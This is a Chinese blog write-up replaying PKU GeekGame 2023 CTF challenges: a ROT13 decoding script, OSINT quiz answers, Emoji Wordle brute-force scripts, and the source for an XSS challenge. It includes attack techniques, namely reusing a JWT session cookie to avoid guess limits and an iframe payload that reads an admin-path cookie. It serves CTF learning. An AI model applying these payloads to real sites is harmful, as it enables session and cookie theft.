PKU geekgame Tutorial&Web部分复现

北大✌的题目就是🐂,新到我基本不会做哈哈哈哈哈哈呜呜呜呜呜呜呜~~~~~

官方wp:

geekgame-3rd/official_writeup at master · PKU-GeekGame/geekgame-3rd (github.com)

话不多说,开始🐀🐀的复现喽!

一眼盯帧

不多说了,就下载下来一个个看然后对,最后发现推了13位,写个脚本复原:

def caesar_cipher(text, shift):
    result = ""
    for char in text:
        if char.isalpha():
            if char.isupper():
                ascii_offset = ord("A")
            else:
                ascii_offset = ord("a")
            rotated_ascii = (ord(char) - ascii_offset + shift) % 26 + ascii_offset
            result += chr(rotated_ascii)
        else:
            result += char
    return result

text = "synt{trrxtnzrgurguveq}"
shift = 13
result = caesar_cipher(text, shift)
print(result)

后来才知道谷歌上搜一下就有了工具抽帧看,rot13解密就完了.....

 

小北问答!!!!!

有点类似社工?

看看佬的wp:PKU GeekGame 2023 - Writeup - imlonghao

第一题:【2】快速入门 · Doc (pku.edu.cn),看到sbatch

第二题:MiCode/Xiaomi_Kernel_OpenSource: Xiaomi Mobile Phone Kernel OpenSource (github.com) //谷歌搜,得到:

 即为5.15.78

第三题iwatch用到了:Apple Mobile Device Types/IDs: iPhone, iPad, iPod, Watch (stackdiary.com),即为Watch6,16

第四题找到源码再加一条 print 语句,python 跑一下就知道了,为4445(python3.8)

第五题开始没搜到,因为陈睿当时2011年用的域名根本不是bilibili.com,是bilibili.us,再用Wayback Machine查看:

(时代的眼泪)

也就是:

游戏视频,游戏攻略·解说,Mugen,flash游戏

第六题纯社工,看到有个启迪控股的logo,去他们官网狠狠搜,搜到这个旗帜,然后就会找到这个位置是卢森堡音乐厅,也就是philharmonie.lu

Emoji Wordle

额,开始确实觉得挺抽象。

类似wordle,但是英文单词换成了emoji。

看看hint:

 

level1

答案固定并且不限制尝试的次数,所以写个脚本一直爆下去就好了:

import re
import requests

YES = '🟩'
NO = '🟥'
MAYBE = '🟨'

URL = 'https://prob14.geekgame.pku.edu.cn/level1'
r1 = re.compile(r'placeholder="(.*)"')
r2 = re.compile(r'results.push\("(.*)"\)')

r = requests.session()

emoji = "A"

location = {}

while True:
    r = requests.session()
    while True:
        guess = r.get(URL, params={
            'guess': emoji  
        }).text

        result = r2.findall(guess)[0]

        print(emoji)
        print(result)

        for idx in range(len(result)):
            if result[idx] == YES:
                location[idx] = emoji[idx]
    
        try:
            new_emoji = r1.findall(guess)[0]
        except:
            break
        e = []
        for idx in range(len(new_emoji)):
            if location.get(idx):
                e.append(location[idx])
            else:
                e.append(new_emoji[idx])
    
        emoji = "".join(e)

我还是头一次知道,能在代码里放emoji的woc....

level2

看了hint要我们关注cookie,那就去看看:

这么长的cookie,肯定有诈。

send一下,然后我们用响应包里的cookie解个密。

我以前用的session工具拉了,这里用了个新的jwt工具:

hahwul/jwt-hack: 🔩 jwt-hack is tool for hacking / security testing to JWT. Supported for En/decoding JWT, Generate payload for JWT attack and very fast cracking(dict/brutefoce) (github.com)

下载go环境啥的自己去配吧,也不是很难。

然后直接复制粘贴上去就有了:

注意把隔行中间的➕删掉,不然就会超一个报错。

level3

这题的 jwt 有了新的机制,每一次提交答案 jwt 中的 remaining_guesses 都会减少 1,怎么办捏?

试想,如果我们一直使用同一个 Cookie 进行提交,是不是就可以固定剩余尝试次数了?

而且看了看其他佬的wp,据说每个 jwt 都是有生命周期的,需要在一分钟之内算出来,不然就会超时

借用大佬速算脚本:

import re
import random
import requests

YES = '🟩'
NO = '🟥'
MAYBE = '🟨'

URL = 'https://prob14.geekgame.pku.edu.cn/level3'
r1 = re.compile(r'placeholder="(.*)"')
r2 = re.compile(r'results.push\("(.*)"\)')

emoji = "A"
location = {}
bad_location = {}

JWT = requests.get(URL).cookies.get('PLAY_SESSION')

good = []
bad = []

def get(idx: int) -> str:
    while True:
        e = random.choice(good)
        if idx not in bad_location.get(e, []):
            return e

while True:
    guess = requests.get(URL, params={
        'guess': emoji
    }, cookies={
        'PLAY_SESSION': JWT
    }).text

    print(guess)
    result = r2.findall(guess)[0]

    print(emoji)
    print(result)

    for idx in range(len(result)):
        if result[idx] == YES:
            location[idx] = emoji[idx]
        if result[idx] == NO:
            bad.append(emoji[idx])
        if result[idx] == MAYBE:
            good.append(emoji[idx])
            bl = bad_location.get(emoji[idx], [])
            bl.append(idx)
            bad_location[emoji[idx]] = bl
  
    new_emoji = r1.findall(guess)[0]
    e = []
    for idx in range(len(new_emoji)):
        if location.get(idx):
            e.append(location[idx])
        else:
            if new_emoji[idx] in bad:
                e.append(get(idx))
            else:
                e.append(new_emoji[idx])
  
    emoji = "".join(e)

按照题意将 emoji 正确但是位置不正确的 emoji 记录下来,并且记录上不正确的位置,下次就放到另外一个位置进行尝试

根据云流师傅的wp,这里三道题都可以硬爆(woc?)

import requests

def solve():
    cookie = requests.get("https://prob14.geekgame.pku.edu.cn/level1").cookies
    v = [0] * 64
    x = [
        chr(i + 0x1F410) for i in
        b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    ]
    for z in x:
        print(x.index(z))
        p = [
            ord(i) for i in requests.get(
                "https://prob14.geekgame.pku.edu.cn/level1?guess=" + z * 64,
                cookies=cookie).text.split()[28][14:-2]
        ]
        for j in range(64):
            if p[j] == 129001:
                v[j] = z
    return requests.get("https://prob14.geekgame.pku.edu.cn/level1?guess=" +
                        ''.join(v),
                        cookies=cookie).text

solve()

 

第三新XSS

好久没遇到XSS,这次复现一下。

xssbot源码:

# pip3 install selenium
# you also need a chromedriver according to your chrome version, available at https://googlechromelabs.github.io/chrome-for-testing/#stable

from selenium import webdriver
import time
import re
from pathlib import Path
import shutil

try:
    from flag import getflag
except:
    def getflag(index):
        return [
            'fake{get-flag-1-from-the-real-xss-bot}',
            'fake{get-flag-2-from-the-real-xss-bot}',
        ][index-1]

try:
    hacker_url = input('Your blog URL: ')
    assert len(hacker_url)<=1000
    
    #match = re.match(r'^(https?)://([^/]+)/([/a-z0-9~_-]+)$', hacker_url)
    match = re.match(r'^(https?)://(prob99-[0-9a-z]{8}\.geekgame\.pku\.edu\.cn)/([/a-z0-9~_-]+)$', hacker_url)
    assert match is not None
    
    protocol, host, path = match.groups()
    admin_url = f'{protocol}://{host}/admin/'
    
    print('\nStarting up the browser...')
    
    data_path = Path('selenium_data').resolve()
    if data_path.is_dir():
        shutil.rmtree(data_path)
    data_path.mkdir()
    
    options = webdriver.ChromeOptions()
    options.add_argument('--no-sandbox') # sandbox not working in docker :(
    options.add_argument(f"user-data-dir={data_path}")
    options.add_experimental_option('excludeSwitches', ['enable-logging'])

    if protocol=='http': # flag 1
    
        with webdriver.Chrome(options=options) as driver:
            print('\nSetting up flag 1')
            driver.get(admin_url)
            time.sleep(.5)
            driver.execute_script(f'document.cookie = "flag={getflag(1)}; path=/admin"')
            time.sleep(.5)
           
            print('\nVisiting your webpage')
            driver.get(hacker_url)
            time.sleep(1)
            
            title = driver.title
            print('\nThe page title is:', title)
            
    else: # https, flag 2
        
        with webdriver.Chrome(options=options) as driver:
            print('\nVisiting your webpage')
            driver.get(hacker_url)
            time.sleep(1)
            
        with webdriver.Chrome(options=options) as driver:
            print('\nSetting up flag 2')
            driver.get(admin_url)
            time.sleep(.5)
            driver.execute_script(f'document.cookie = "flag={getflag(2)}; path=/admin"')
            time.sleep(1)
        
            title = driver.title
            print('\nThe page title is:', title)
        
    print('\nSee you later :)')
    
except Exception as e:
    print('ERROR', type(e))
    #raise

app.py源码:

from flask import *
import json
import re

registry = {
    'admin': ({'Content-Type': 'text/html'}, '<title>hello world!</title>'),
}
NAME_RE = re.compile(r'^[a-z0-9~_-]+$')

app = Flask(__name__)

@app.route('/<name>/')
@app.route('/<name>/<path:subpath>')
def view_homepage(name, subpath=None):
    content = registry.get(name, None)
    if not content:
        return '<title>ERROR</title>此个人主页不存在'
    
    headers, body = content
    return body, headers
    
def is_safe(s):
    return isinstance(s, str) and not any(c in s for c in '\r\n')
    
@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method=='GET':
        return render_template('index.html')
        
    name = request.form['name']
    header = request.form['header']
    body = request.form['body']
    
    try:
        header = json.loads(header)
    except Exception:
        return '响应头不合法'
    
    if not NAME_RE.match(name):
        return '名称不合法'
    if not isinstance(header, dict) or not all(is_safe(k) and is_safe(v) for k, v in header.items()):
        return '响应头不合法'
    if name in registry:
        return '已经注册过了'
        
    registry[name] = (header, body)
    return f'注册成功,点击 <a href="/{name}/">进入你的个人主页</a>'
    
if __name__=='__main__':
    app.run('127.0.0.1', 5000, debug=False)

两个点:

意思大致是,flag在/admin下的cookie里。

检查代码:

我们能在 /xxx/ 任意目录下面返回任意的内容以及任意的 Header。

建议查看:javascript - Retrieve a cookie from a different path - Stack Overflow,这里就知道思路了:

我们使用<iframe>嵌入 /admin/ 路径,然后通过 document 读取目标 iframe 的 Cookie。

<iframe src="/admin/" id="barframe"></iframe>
<script>
setTimeout(() => {
  document.title = document.getElementById('barframe').contentDocument.cookie
}, 100)
</script>

后面没时间做了,有时间再写写吧。

posted @ 2023-10-26 17:49  Eddie_Murphy  阅读(25)  评论(0编辑  收藏  举报